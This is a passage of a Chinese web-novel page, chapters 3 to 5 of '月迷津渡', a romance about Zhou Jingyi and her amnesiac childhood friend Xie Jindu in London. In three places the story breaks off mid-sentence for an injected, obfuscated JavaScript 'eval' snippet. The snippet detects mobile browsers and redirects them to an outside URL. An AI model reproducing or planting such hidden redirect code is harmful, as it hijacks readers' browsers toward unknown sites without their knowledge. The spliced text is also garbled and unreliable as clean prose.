《月迷津渡》 3. 第 3 章 3. 周景仪在商场上雷厉风行惯了,说话做事鲜少向旁人解释什么。 这会儿听谢津渡委屈巴巴地控诉完,竟破天荒想要解释一句。 大女人不让小男人掉眼泪,这是她的处世哲学之一。 “我今天有些忙,没空去医院看你。” 谢津渡应了一声,额头抵在门框上,脸色苍白如纸巾,状态看着很差。 “要我安排人送你回医院吗?”她问。 “我不想回去。”他转过身,脑袋沉甸甸地压在她肩头,像小朋友找大人讨糖果一般说,“我想见你,想和你待在一块。” 周景仪怔住。 要是放在以前,谢津渡大半夜冒雨跑过来说这样的话,她肯定肯定会搂着他的脖子说,我也很想念你。 可现在不一样了,漫长的分别把一切都冲淡了。 更何况,她清楚地记得那扇怎么也敲不开的大门;记得他亲口对她说你别来找我了;记得那串再也打不通的电话…… 他们相伴十几载,曾是彼此最好的朋友,可他人间蒸发那天,连个理由都没给她。 凭什么他一句想见她,她就要半夜不睡觉来给他见?他总是这样自以为是,失忆了也一样让人讨厌。 周景仪理智回归,用力推开了他。 谢津渡连退几步,跌坐在地上,胸口的伤撕裂了,血溢出绷带,染红了外衣。 他手心撑地,仰着头茫然无措地望向她,唇线翕动,没有发出任何声响。 “伤口流血了,你赶紧回去吧。”周景仪目光落在他身上又移开。 白月光的杀伤力是巨大的,这张脸、还有这双忧郁深邃的眼睛……多看一秒,她就会多心软一分。 鼻尖嗅到了血腥味,她避开他的视线,转身进屋拨打了999。 几分钟后,救护车赶到了现场。 谢津渡的衣服湿透了,医护人员询问周景仪是否有衣服或者毯子可以借用。 她摇摇头说:“没有。” 谢津渡被人从地上搀扶起来,他往前走了几步,扭头注视着她,欲言又止。 周景仪察觉到他的目光,合上了房门。 为避免他再次乱来,她派了同行的保镖过去看守。 这么一通折腾结束,已经是后半夜了。 外面还在下着雨,雨点密集,敲在玻璃上噼里啪啦,像是谁隔着窗户点鞭炮。 周景仪睡意全无,她披上衣服,抓起手机和烟盒去了吸烟室。 朋友李江川恰在此时打来电话—— “月月,你要的那款RC遥控车搞到了,啥时候过来拿啊?” 她抽出一根烟,有些心不在焉地回:“过两天吧,我在伦敦呢。” “伦敦?”李江川像是听到什么惊天八卦,声音立刻拔高好几度,“我靠,你这是跑去追谢津渡了?你哥万里追妻,你万里追夫,你俩真不愧是双胞胎情种。” “我哪有我哥恋爱脑?”周景仪纠正道,“我来伦敦是为了工作。” “我怎么就不信呢,当初你可是喜欢谢津渡喜欢得不得了,就差给我们发喜糖了。现在真放下了?” 她握着烟的手停在半空,半晌转移了话题:“别废话了,快给我看看我的RC小宝贝。” “行,行,行。”李江川把刚拍的照片传过来,附带一顿吐槽,“搞不懂,你怎么会喜欢收集这种动辄三五万的儿童玩具车,还一年买几百辆,直接买跑车不比这个拉风?” 这才不是什么儿童玩具,这是等比例缩小的真车,采用汽油作为动力,一秒钟加速过百,仅靠一根绳就能拉动一辆真车。和李江川讲这些,基本等同于对牛弹琴。 周景仪挂断电话,将照片点开放大,一辆橙色大脚越野式车映入眼帘。 记忆被拉扯到很久以前—— 小学四年级开始,周家的长辈们以培养子女独立性为由,不再接送上下学。 她每天都是和哥哥周迟喻一起同出同进,那天放学,周迟喻不知因为什么事被老师留校了,她只能一个人先回家。 学校和她家之间隔着一条河,河岸两侧是两幅景象,北侧热闹繁忙,南侧幽深僻静。 她家住在南侧。 走到人烟稀少的拐弯处,一只棕色野狗忽然从树林中冲出来,咬住她的裤子,发疯撕扯。 她哪里遇见过这种阵仗,本能脱下书包,拎着包带,狠狠砸过去。 野狗吃了疼不跑,反而咬住书包将她拖拽到地上。 见情况不对,她连声呼救。 那条路太偏僻,根本没人回应她,心脏因害怕跳到了嗓子眼,扑通扑通—— 电光石火间,一辆橙色遥控车穿过平静的河面,“嗖”地一下冲上河埂,车灯闪着光,直直朝着那只野狗的脑袋撞过去。 几下之后,野狗松开她,转去攻击那辆小车。 遥控车摩擦地面,嗡嗡嗡地绕着那条狗原地画圈,尘土飞扬,帅气十足。 好厉害的操作,她一时看呆了。 有人疾步跑过来,说:“快走,这不是普通的狗,这是比特犬。” “谢津渡?”她见了他,既惊又喜,“原来是你呀。” 他目光冷峻,神情严肃,并未多言,握住她的手,一把将她从地上牵了起来。 小区北门离得不远,他拉着她一路飞奔到保安亭叫人。 保安闻讯赶过去打狗,周景仪靠在栏杆上大口大口喘气,“刚刚你说那是什么狗?” “比特犬,这种狗对痛疼反应迟钝,肌肉发达,会打架到分出胜负为止,是一种烈性犬。” “刚刚那辆玩具车是你遥控的吗?” 他点点头。 “哇,你好厉害啊。” 十一岁的谢津渡,因为这句夸奖脸颊绯红,他挠了挠头说:“还是先回家吧,这里不安全,它随时可能再跑过来。” 周景仪心有余悸,点点头,十分认可他的建议,左腿刚迈出一步,她便皱着眉毛“嘶”了一声气。 谢津渡忙问怎么了。 她弯腰指了指膝盖,那里好大一块青紫,还破了皮,正在流血。 刚刚着急逃跑,她忘了疼痛,现在不行了,膝盖疼的她直抹眼泪,“今天怎么这么倒霉呀?” 谢津渡不知怎么安慰,只说:“我背你吧。” 那是谢津渡第一次背她。 小小的个子,细细的手臂,并不宽阔的脊背,温温热热的体温,却充满了安全感。 被野狗攻击的恐惧就那样轻而易举地消散在风中。 最终比特犬被捉送去派出所处理,遥控车也被咬坏了。 周景仪从母亲口中得知,那其实是一辆进口的RC赛车,价值不菲,是谢津渡外公寄给他的生日礼物。 次年,她攒了一整年的零花钱,给谢津渡买了一辆同款车,他却没收。 周景仪噘着嘴,有些不高兴。 少年忽然接过她手里的遥控器说:“我教你玩吧,以后我们可以一块玩儿。” 夕阳下,那辆车在他的灵活操控下仿佛有了生命。 那时候的谢津渡,短发干净,瞳仁清澈,简直像童话故事里身披银甲的骑士。 喜欢他像吃饭喝水一样容易。 谢津渡是她少女时代就想嫁的人。 手里的烟燃尽了,周景仪将烟蒂摁灭,起身出了吸烟室。 重回房间,困意席卷,她难得梦到了谢津渡。 梦境更像是现实的另一种延续—— 梦里光线很暗,一切都是灰色的,似被一团浓雾包裹着。 还是在酒店的长廊里,谢津渡摔坐在地上,心口的血止不住地流淌。 地毯被血浸泡出一朵殷红的花,她穿着拖鞋走近,黏腻的液体透过鞋底反渗到脚掌。 她一直没救他,也没叫医生。 谢津渡翕动着干裂的唇瓣,声音沙哑,神情悲痛:“月月,你为什么不理我?” 她俯身摸了摸他的脸颊,没说话,眼泪一滴滴落下来。 急救医生赶来前,他流干了最后一滴血。 她漠然看着他们为他盖上白布,心像是被人刺入一根长针。 她想检查他是不是真的死了,一掀白布,底下的谢津渡竟成了一堆干枯的梧桐叶。 她惊叫着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467484|169822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来,恍然发现那只不过是一场梦。 后背满是汗,她坐起来看了一眼时间——凌晨四点。 才睡了三个多小时。 她咬着唇瓣,用力刨了刨头发。 好矛盾的感觉,既讨厌谢津渡,又见不得他真的死掉,归根到底还是在意。 她刻意回避李江川的问题,也是这个缘故。 刚刚的梦境太真实,她给在医院的保镖打了一通电话。 谢津渡没死,活得好好的。 她仰面躺在床上,手背压着在眼皮,缓缓吐了口气,幸好,幸好刚刚的那场梦是假的。 谢津渡从酒店回医院后,一直很安静,医生问话,他也不回答,像块冰冷的石头。 护士替他处理完伤口,重新发给他一套干净的病号服。 他没换,就那么裹着湿衣服蜷缩了一晚,比起心里的难受,身体上的痛处根本不值一提。 要不然还是死掉好了…… 反正她也不要他。 天亮前,他再次发起了高烧。 高热引发了惊厥,每寸骨头都像在燃烧,他无意识地呻/吟着。 守在门外保镖察觉异常,叫来了医生。 天亮后,周景仪收到电话,匆匆赶到医院。 谢津渡在看到她的一瞬间,突然活了过来。 他强打起精神要起来,周景仪摁住了他的肩膀。 “对不起。”他捂着脸有些颓丧地开口,干涩的嗓音,似带乞求,“我昨晚不该跑出去找你,你生气是应该的,是我不乖,我以后会好好在这里等你的……” 她平静地打断道:“我昨晚不是在生你的气。” 理智告诉她,因过去的事迁怒一个失忆的人,意义不大。 要吵架,要歇斯底里,要发火,也是对那个和她有着十几年共同记忆的家伙,而不是对着眼前这个什么也不记得的人。 谢津渡很高兴,小心翼翼要握她的手,指尖在即将碰到她手背时又慢腾腾缩回去。 一切都被周景仪看在眼里。 “你在做什么?” “啊?没……没什么。”谢津渡结结巴巴地掩饰着。 “未经允许,碰女孩子的手是不对的。” “哦,可是我就是好喜欢你呀。”谢津渡说完垂下脑袋,脸红透了。 周景仪盯着他看了许久,仿佛要在他身上寻找一个根本不存在的影子。 那个谢津渡总是臭着一张扑克脸,偶尔被她调戏时也会脸红,但从来不会说这样直白的话。 他们是不同的。 相比之下,眼前这个失去记忆如同白纸一般的谢津渡似乎更可爱一些。 主治医生查完房,周景仪跟着他去了办公室。 医生说谢津渡的记忆可能很快恢复,也可能永远不会恢复,接触以前的人和事可以让他恢复记忆。 周景仪心里矛盾,给李江川打去电话,想问问他有什么意见。 李江川语出惊人:“姓谢的失忆了不是更好,你当玩具玩玩咯,反正又不用负责,等不想玩了还能甩掉他,报当年的仇。” 周景仪不服气,反驳道:“谁说我要玩他了?” “切,你不想玩他,你给我打这个电话干嘛?你分明就是心里有鬼,周月月,我还不了解你么?” 周景仪快气死了。 她挂掉电话,往他微信里连续丢了一个又一个炸弹。 李江川回了一行字:真喜欢就弄到手咯,多大点事儿。 几分钟后,周景仪回到病房。 谢津渡说:“你可以和我说说以前的事吗?” 以前的事?要是说那种很有记忆点的事,没准真能唤醒他的记忆。 她暂时不太想他恢复记忆。 周景仪想了想说:“你上小班的时候,穿着尿不湿掉水里了,是我救的你。” “……” “你当时光着屁股在厕所哭了足足半个小时,也是我哄的你。” “……” “……还有别的事吗?”谢津渡问。 “有啊,”周景仪笑着说,“你还偷偷喜欢了我十几年。” 4. 第 4 章 4. 谢津渡听她讲完,嘴角弯起好看的弧度。 “我怎么觉得只有最后一件事是真的?” “恰恰相反。”她说。 只有最后一件事是假的,那是她故意编造出来逗他玩的。 现在回想起来,青春期里的义无反顾与热烈都是她的单箭头输出。 那时候年纪小,一头扎进去,根本没反应过来。 胃里涌起一阵酸涩,她别开视线,喉头干涩滚落,仿佛在吞咽某种尖锐复杂的情绪。 谢津渡看她这样,心口没过一阵刺痛,忙开口道:“你怎么知道我以前没有喜欢过你?” 周景仪稍显意外地侧眉望过来,那双漂亮的眼睛水波盈盈。 “没准……”他语速很快,双颊泛起红晕,以一种极其温柔的语气往下说,“没准我那时候很喜欢你,只是没和你说呢?” 周景仪错愕地张了张嘴,长睫颤动,无数话哽在舌尖。 周遭的一切仿佛被人摁下了暂停键。 雨声不见了,远处青灰色的天空变得闪闪发光,风从敞开的窗户里漫进来,吹散了她额间的刘海。 片刻失神后,她理智回归。 谢津渡应该是看出她不开心,在安慰她,还挺可爱。 奇奇怪怪的宿命感,带着致命吸引,让她差点以为这是一场迟来的告白。 周景仪轻笑一声,给他讲起一桩陈年旧事。 “有一次,我们俩一起去海边玩儿。海滩边上有两棵树根连在一起的幸福树,当地人习惯称它们为夫妻树。 据说,相互倾心的男女只要在树下的沙地写上名字,就会永远幸福地在一起。 我兴致勃勃地拉你过去,想在那里写下我们的名字,可你拒绝了。” 他也记得这件事,只是和她说的略有不同—— 盛夏午后,天气炎热,海水银亮透明,沙地烫脚,女孩趁着午睡时间溜到隔壁找他。 她那张平日里白净的小脸,被太阳蒸得红扑扑的,鼻头上闪烁着细密晶莹的汗粒,身上的淡蓝色纱裙被风鼓起又落下,活泼灵动,像只海边精灵。 进门后,她一把抱住他的胳膊,黏糊糊地撒起娇:“谢津渡,我们去把名字写在幸福树下吧?” “那不过是个传说,没什么可信度。” “传说怎么了?心诚则灵。”她鼓起腮帮子,懊恼道,“你要是不愿意就算了。” 他没说不愿意…… 恰逢周迟喻过来找他们去玩摩托艇,周景仪借机跑了出去。 下午他们玩到精疲力尽,谁也没再提幸福树的事。 那时候,他以为她忘了。 傍晚时分,海水退潮,他独自返回沙滩,对着那两棵幸福树喃喃自语:“傻瓜么,写在沙滩上的字,怎么可能会永远。” 他绕着幸福树走了几圈,在背风处蹲下来,用沙铲将把根处的表层沙土挖走,露出底下一小段灰色根茎。 之后又掏出美工刀,将他和周景仪的名字一笔一划地刻在树根上。 沙土掩盖好,爱意也随之藏在了她看不见的地方…… 她不知道那天后来发生的事,这会儿沉浸在往事里,有些惆怅。 “要是喜欢我,你当时怎么会拒绝?” 谢津渡哽了一下,说:“也许我后来偷偷去写了呢?” “根本不会那样的,”周景仪打断他,眸光渐渐暗下去,“你从来都不会骗人,你要是去写了,肯定会告诉我。” 她说的是事实,但不是全部的其实。 从小到大,他都只敢给她看自己向阳的一面。 直到现在也是一样。 人人皆爱花瓶中盛放的玫瑰,没人会爱养玫瑰时发臭的水。 他只想她看见玫瑰。 美好的东西才能让人萌生爱意,不是吗? 手机突兀地响起来,有电话进来了。 两人的对话戛然而止。 周景仪呼出一口气,走到窗边讲电话—— 谢津渡听出电话对面又是他那位可恶的表弟。 临走前,她对他说:“我有事要忙,晚点再过来看你。” 谢津渡点点头,心里嫉妒得发疯,脸上却挂着一如既往的微笑。 周景仪走到门口,又退回来说:“手臂给我一下。” 她从小包里取出口红,拔掉帽盖,将病号服的袖子往上卷起一截,低头在他手臂上写下一串数字。 膏体黏黏腻腻,摩擦着他手臂处的皮肤微微发痒,他想到她擦口红时的模样,唇瓣微张,隐约可以看到其中潮湿的水液…… 一时间,他僵在那里不敢再动,手臂像是被她的唇吻过千万遍。 恍惚间,身体成了一块发霉的木板或者一张变形发脆的纸片。 “这是我的号码,有事打给我,别再乱跑。”她合上口红,叮嘱他。 谢津渡木然地了点了几下头,身体像是触电般,一阵一阵发麻。 在那零星的几秒钟里,他甚至连呼吸都忘记了。 周景仪走后,他抬起胳膊,鼻尖贴上去,痴迷地嗅了嗅。 这是她嘴唇上的味道吗? 甜腻腻的,带着点巧克力和水果混合的香气,好喜欢…… 没过一会儿,放在床头的手机进了一条消息:表哥,苦肉计用得挺成功嘛,你说她要是知道真相会怎样?我还真有点期待一会儿的见面。 谢津渡看完消息,脸上的笑意凝滞住,取而代之的是一抹冰冷的狠厉。 他回了一条简讯:想停零花钱就直说。 布莱恩才不怕他这种口头威胁。 他的零花钱和谢津渡没一毛钱关系。 十分钟后,他找了家最有格调的餐厅,开了瓶勒桦穆西尼,对窗小酌,好不惬意。 周景仪没到,服务员带着酒水账单和pose机来了。 “先生,这边需要您先结账。” 结账?他是这家店的白金会员,划账就行,根本不用单独付钱,也从没见过什么账单。 细问才知道,消费卡里的钱被人冻结了。 他不耐烦地翻出钱夹,找了张黑卡递过去—— 刷卡过后,服务员再次躬身道:“抱歉,先生,您这张卡里的资金被冻结了,还有别的卡吗。” “什么?”布莱恩猛地从椅子上站起来,有种不祥的预感。 他急忙换了别的卡递过去。 结果还是一样。 所有的卡里都有钱,但所有的钱一分动不了。这种情况从未发生过! 他缺过女人,缺过头脑,缺过爱,但是从没缺过钱! 脑子里冷不丁蹦出扑克脸那句“停零花钱”,他立马打电话过去兴师问罪。 “这么快就发现了?”谢津渡语气戏谑,似带警告,“所有的卡冻结一天作为警告,如果继续靠近她,冻结时间会自动延长。” “你凭什么……”布莱恩话没说完,通话已经中断。 好冷血,连商量的机会都不给。 布莱恩烦躁扯开衣领,一脚踹在桌腿上。 发火归发火,钱还是得照付。 服务员微笑着说:“先生,您这瓶酒一共是31488英镑……” 酒开了没法退,布莱恩只得摘下金表冲他说:“这个先寄放在你店里,明天我带钱来赎。” 他打赌,那个魔鬼肯定知道他现在在哪儿。 他后面可能还有什么阴招要使,反正这里不能再待下去了。 布莱恩快步往外走,迎面和刚进门的周景仪打了个照面。 他见到她,跟老鼠见到猫似的,话都没敢多说一句,夹着尾巴仓皇逃跑。 周景仪冒雨追出去,一把扯住他的衣服:“你等会儿再走,合同我看过来,还有细节要当面确定。” 布莱恩双手合十作揖,连连求饶:“Please…please…” 这家伙怎么回事儿?怎么跟中邪似的? 布莱恩趁她愣神,快步穿过马路,跳上跑车,一脚油门溜之大吉。 周景仪随即让司机驱车追了上去。 布莱恩开开心心回家,刚要打电话给自己表哥汇报情况,一扭头瞧见了倚在车边点烟的周景仪。 “!”怎么还玩跟踪啊? 那一瞬间,他欲哭无泪,好想报警…… 扑克脸吓人,这位中国女孩也同样可怕。 从某种程度上看,这俩人真是天生一对。 布莱恩指指自己,再指指她,用十分蹩脚的中文说:“我……不冷和你……合揍,我……破惨了。” 周景仪连蒙带猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467485|169822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大概明白了他的意思。 她吐了口烟,用英文重复了一遍他的话。 布莱恩听完对她竖起了大拇指。 这家伙看着怎么有点蠢? 周景仪扶额,长长吐了口气,她还没忘记这次来伦敦的主要目的,委婉道:“我能和你的祖父康博里斯先生见上一面吗?听说他是华人,我们想向他取取经。” 他祖父肖恩博里斯身体不好,早两年就不管事了,他父母又离世早,他又一心想着吃喝玩乐,只是个挂名的企业家,康博里斯家真正的管事人是谢津渡。 那个扑克脸,这会儿正在医院里装可怜。 要是真让周景仪去见祖父,这事儿不就穿帮了? 照那家伙的冷血无情程度,他未来一个月都得做流浪汉乞讨。想到这里,布莱恩倒抽一口凉气,连声拒绝:“不行,当然不行。” 布莱恩这条路走不通了,只能另辟蹊径。 之后几天,周景仪前后见了在伦敦的合作商,试图从他们那里找到接近肖恩康博里斯的办法,可惜都是白费力气。 * 谢津渡的伤已经痊愈大半,记忆仍旧没有恢复。 医生建议他出院静养。 周景仪想,谢津渡这家伙人缘应该挺差,他在医院待了这么久,竟连一个相熟探望的朋友也没有。 从前上学的时候,也是差不多情况,和谢津渡亲近的人永远就只有她一个。 那时候,她哥总是说谢津渡阴森森的,像条随时会咬人的毒蛇,她一点儿也不那么觉得。 现在回想起来,他好像一直都挺孤僻的,还总是无缘无故地被各种人欺负。 作为他曾经唯一的朋友,周景仪决定再做一回好人好事, 办理完出院手续,她送他回到在伦敦的住处。 公寓地点还是找赵文丽要的,谢津渡身上没有钥匙,好在那门用的指纹锁。 她放下东西就想走,谢津渡忽然叫住她。 “还有事?” 他红着脸支支吾吾半天才说:“你能……等会儿再走吗?我想洗澡。” 周景仪惊呆了,暴喝一声:“你要我帮你洗澡?” “不,不,不!这怎么可能?” “那是?” “我伤口有些疼,你帮我脱一下衣服就行。” 脱……脱衣服?!这和帮他洗澡有什么区别? 难道是一个能摸,一个不能摸? 周景仪手打着扇子往脸上扇风。 伦敦这鬼天气,真热。 谢津渡知道她误会了,连忙解释:“上衣……上衣就行,胳膊抬不起来” 周景仪扯了下嘴角说:“行吧。” 她在客厅等了他几分钟,谢津渡抱着干净衣服去了浴室。 她咬着唇瓣,压下诡异的冲动,款步跟进去。 谢津渡低头一粒粒解开衬衫纽扣,周景仪尽量不去看,但还是避无可避瞄了一眼他的胸肌。 啧,还挺有料的,应该经常健身房。 好烦,比白月光的脸更杀人的是白月光的肉////体。 这时,他垂下手臂说:“好了。” 周景仪呼了口气,走过来,她忽略眼前的男色,握住他的袖口一点点往下拽。 “一会儿能再帮我穿一下吗?” “哦,行……”好烦,她干嘛要答应? 浴室门上锁,周景仪坐在客厅沙发上等他洗澡。 度秒如年,她看了三次手表。 手机突然进了一条消息,李江川发来的:月月,你生日快到了,啥时候回来? 她回:还有点工作上的事。 “是工作上的事还是舍不得谢津渡啊?”这句是语音气泡。 周景仪打字回复:当然是工作上的事,你别胡说八道。 “怎么样啊?跟哥说说,谢津渡是不是很好泡?”李江川贱兮兮地问。 与此同时,浴室的门打开了—— 周景仪连忙熄灭手机走过来。 谢津渡已经穿好了长裤,手里拿着一件干净的衬衣,狭长的眼睛里盛满笑意。 他说:“我都听到了。” “听到了什么?”周景仪呆愣愣地问。 他指了指她口袋里的手机,一字一句说:“你想泡我。” 5.第 5 章 5. 周景仪这天晚上失眠了。 这是她二十多年来,头一回因为男人失眠。 对象还是被她刻意冷落了好几年的谢津渡。 可恶,满脑子都是几个小时前的奇奇怪怪画面—— 浴室的玻璃门敞开着,瓷砖地面满是水迹,空气里夹杂着沐浴露的清香,扑在脸上热腾腾、软绵绵、湿哒哒,花洒里残余的水“滴答滴答”地坠在地上,时间仿佛被什么东西拉抻过,让人产生一种度秒如年的晕眩感。 谢津渡上身赤///裸,紧致的皮///肉,完美的倒三角身材,即便不看细节,单看轮廓也足够性感迷人。 在此之前,她对谢津渡的印象并不是这样的。 至少和性感这个词不沾边。 他说,我听到了,你想泡我。 她当即反驳:“胡说,我怎么可能想泡……”后面的话卡在了嗓子眼里。 因为,谢津渡突然朝前走了一步,与她脚尖相抵。 头顶罩过来一小片阴影,让她审视起两人的身高差距。 高中那会儿,她168cm的个子,基本可以平视他。甚至,每次她“英雄救美”时,看到的都是他仰视而来的目光。 他这起码长高了十几公分,肩膀也宽了许多,像一堵结实的墙壁,再也没有小时候那种弱不禁风的感觉了。 这些变化,也让他看身上多了一丝从未有过的压迫感。 谢津渡没说话,将手里的衬衣递过来。 她伸手去接—— “啪嗒”—— 男人短发上的水珠,滴落到了她的虎口处,温温热热的触感,似有电流划破皮肤蔓延到了脊背。 她颤栗了一瞬,慌忙把手背过去擦干净。 谢津渡看向她的目光,始终是澄澈的,他握住她的手摁到心口处,说:“你要是想泡的话,我不太介意……” 用眼睛看和用手触摸的感觉完全不一样——坚硬的、滚烫的,甚至同频了他心跳的频率。 “变态!”她气血上涌,一把将手抽回来,羞恼道,“你转过去,把衣服穿上。” 周景仪收回思绪,晃了晃脑袋,盯着手心看了一会儿,耳朵渐渐变得滚烫。 是失忆的缘故吗?以前的谢津渡,根本不会说这种话。谢津渡在她记忆里一直都很纯洁…… 她记事起,谢、周两家人都会在一起过年。 大人们通宵打麻将,她和哥哥周迟喻挤在谢津渡房间里玩耍儿,爸爸妈妈打牌上瘾忘记回家,他们仨常常熬到眼皮打架,再一同钻进被窝里睡觉。 她向来不黏亲哥,只黏谢津渡。他的怀抱像妈妈一样柔软,手臂当枕头也正好合适,脸上肉嘟嘟的,允许她捏着玩儿,还可以亲,这点比她哥可爱多了。 刚上中班那年,周迟喻有了朦胧的性别意识。 临睡前,他见妹妹要往谢津渡怀里钻,义正辞严道:“男女有别,周月月,你睡我这边来,不许再靠着谢津渡。” “可是,你也是男生啊。”她反驳亲哥。 “对,所以你去睡那头睡。” “我才不要闻你的臭脚丫子味,”她抱住谢津渡的胳膊,想拉他给自己说话,“谢津渡,你怎么说。” 他竟点点头,说:“你哥说的对,不过我可以陪你到那头睡。” 中间隔着一个人,周迟喻自然也不反对。 天快亮时,她先醒了,可恶的周迟喻半夜卷走了她的被子,好冷! 她轻手轻脚地绕过亲哥,爬到另外半边被窝,手臂紧紧抱住谢津渡的脖子,把冻得冰冷的脚丫贴到他膝盖上焐着。 不误意外地,谢津渡醒了。 她朝他比了个噤声的手势,将他搂得更紧。 他手足无措,小声道:“月月,你是女生啦……” “女生怎么啦?” “女生和男生不能这么近?” 她打了个哈欠,闭上眼睛,嘟囔:“可是爸爸和妈妈也是躺在一个被窝里睡觉啊。” “不一样。” 她掀开眼皮,凑过来,在他脸颊上亲了一口,强调:“我们是订过娃娃亲的,以后就是和爸爸妈妈一样。” 起床后,周迟喻差点拎着谢津渡出门打架。 第二年除夕,谢津渡房间里多了一张粉红色的小床,一看就知道是给她准备的。 她不愿意一个人睡,一会儿嫌床单图案丑,一会儿嫌被窝冷。 房间里开着空调,并不多冷。周迟喻说她娇气,谢津渡默默脱掉鞋袜帮她焐起了被窝。她故意在被子使坏,踩踩他的脚背,用脚趾挠他痒痒。 周迟喻发现了总要骂谢津渡,谢津渡任由他骂从不回嘴。 仨人进入青春期后,谢母做主将小床移去了客房。 谢津渡依旧会帮她焐被窝,只是不再钻被窝,改用了电热毯。 被子里热意足够,但她并不满意。太没诚意了! 有一次,她故意拔掉电插座,将谢津渡堵在房间里:“我要你替我焐被窝,不许用电热毯。” “不行的,我们都长大了……” “以前可以,现在为什么不行?我又不吃你。” 谢津渡最终妥协,帮她焐了被窝,离开房间时他脸蛋儿红透,出门挨了周迟喻两拳。 再大一点,周围有人开始偷偷早恋,谢津渡连话都不敢和她多说,有意与她保持着男女之间应有的距离。 偶尔听见她说“娃娃亲”的言论,他也总是羞羞答答。 同龄的男生畅谈美女、对各种事情好奇时,他从不参与,有人嘲笑他以后连老婆的手都不敢碰。 那样纯洁的谢津渡,今天居然和她说,可以被她泡。 周景仪叹了声气:“哎,不想这些了。” 次日,她睡到日上三竿才起床。 天气难得放晴,酒店客房服务太慢,她穿戴整齐去了餐厅。 英式午餐一如既往的难以下咽。 真恨不得立马订机票回国! 想想也确实可以回国了,不过在那之前还有最后一件事要处理——拯救谢津渡公司的债务危机。 这是亲妈赵文丽强行派给她的任务,不做不行。 早些年,谢家曾是北城有名的医药企业,原本发展顺利,却在上市前突逢变故。谢津渡的母亲因罪入狱,父亲失踪,家中资产全部收归法院。 谢母情急之下将儿子托付给了闺蜜赵文丽照顾,并请求她将儿子立刻送往伦敦。 那之后,赵文丽负担了谢津渡的学费和生活费,甚至还出资帮他在伦敦成立了一家小型科技公司。 其中具体的细节,赵文丽没说。周景仪只知道,姓谢的花了他们老周家不少钱。 一星期前,谢津渡公司遭遇了严重的资金危机,他迫不得已打电话向赵文丽求助。赵文丽想都没想,一口答应下来,转头便把事情强派给了女儿。 来伦敦的这几天,谢津渡一直住院,她亦有意拖延。 现在不能再拖了,早点解决,早点回家。她叫上司机,直奔谢津渡家。 他也刚起床不久,着一身浅灰色居家服,鼻梁子架着一副透明的边框眼镜,肤色白皙干净,有种斯文败类的禁欲感。 周景仪没空看帅哥,她的注意力被扑面而来的食物香味吸引住了—— 不是英国菜的味道,而是纯正的中国菜。 “你在做饭?”她踮脚往里看了一眼。 “嗯。” “都有什么菜?” “土豆炖牛腩、蒜蓉生菜、蘑菇豆腐汤、酸汤海鱼片。” 虽然不是什么大菜,但听上去比她中午的伙食好吃一百倍,她刚刚根本没吃几口…… 谢津渡笑着说:“做了挺多的,要一起吃一点吗?” 她想也没想,同意了。 谢津渡的厨艺意外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473709|169822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精湛,果然逆境造就人才。 当年,他们约好一起上伦敦留学时,她还想着怎么能罩着他。事实上,没有她,他也过得很好。 那句话怎么说来着,地球上任何一样生物死去,明天的太阳还是会照常升起。 “在想什么?”谢津渡忽然问。 “以前的事。” “和我有关吗?” 周景仪放下筷子,擦了擦嘴,说:“当然无关。” 午餐结束,谢津渡换了身衣服,陪周景仪去他名下那家叫DREAMING CAR的科技公司。 看完财务报表后,她有点头疼,这公司简直是距离倒闭不远了。 要救他这公司还真挺费钱的。 她是个商人,如今全球经济下行,赔本的买卖她一点也不想沾。 她避开谢津渡,去楼顶的露台,给赵文丽电话。 赵文丽听说情况后,立马让人给她打了钱。 周景仪十分不理解:“妈,谢家是不是救过你的命啊?” “没有啊。” “那就是替你顶过什么罪?” “胡说八道。” “那你干嘛还给他花那么多钱?咱家的钱又不是大风刮来的,凭什么一直给他花啊?” “你这孩子……津渡不也是你最好的朋友吗?” 周景仪哼了哼:“那是以前……我和他早就绝交了。” “能帮就帮帮,等他公司好起来,钱自然会还回来。我答应他妈妈要照顾他,总不能食言,人总要讲点情义不是?而且,早两年,他妈妈也生病去世了。你没看到那时候的津渡,他……” 赵文丽说到这里,忽然止住了。 “他当时怎么了?”周景仪追问。 “没怎么,就是伤心过度,”赵文丽吸了吸鼻子,绕开了这个话题,“我总归和他妈妈相识一场。” 话说到这一步,周景仪也决定不再坚持。 算了,帮就帮吧,大不了她之后再多谈两单大生意,把这个窟窿补上。 总觉得她妈还有什么事瞒着没说…… 关于谢津渡的事,她也不想做过多探究。等这边事情结束,应该也不会再见面了。 这里距离伦敦塔桥不远,风景秀丽。她点了支烟,靠着栏杆晒了会儿太阳,身后的玻璃门被人敲响了。 周景仪转身,见谢津渡站在那里,风吹散了他额间的短发,他的脸掩映在半明半昧的光影里,竟有几分青葱的少年气。 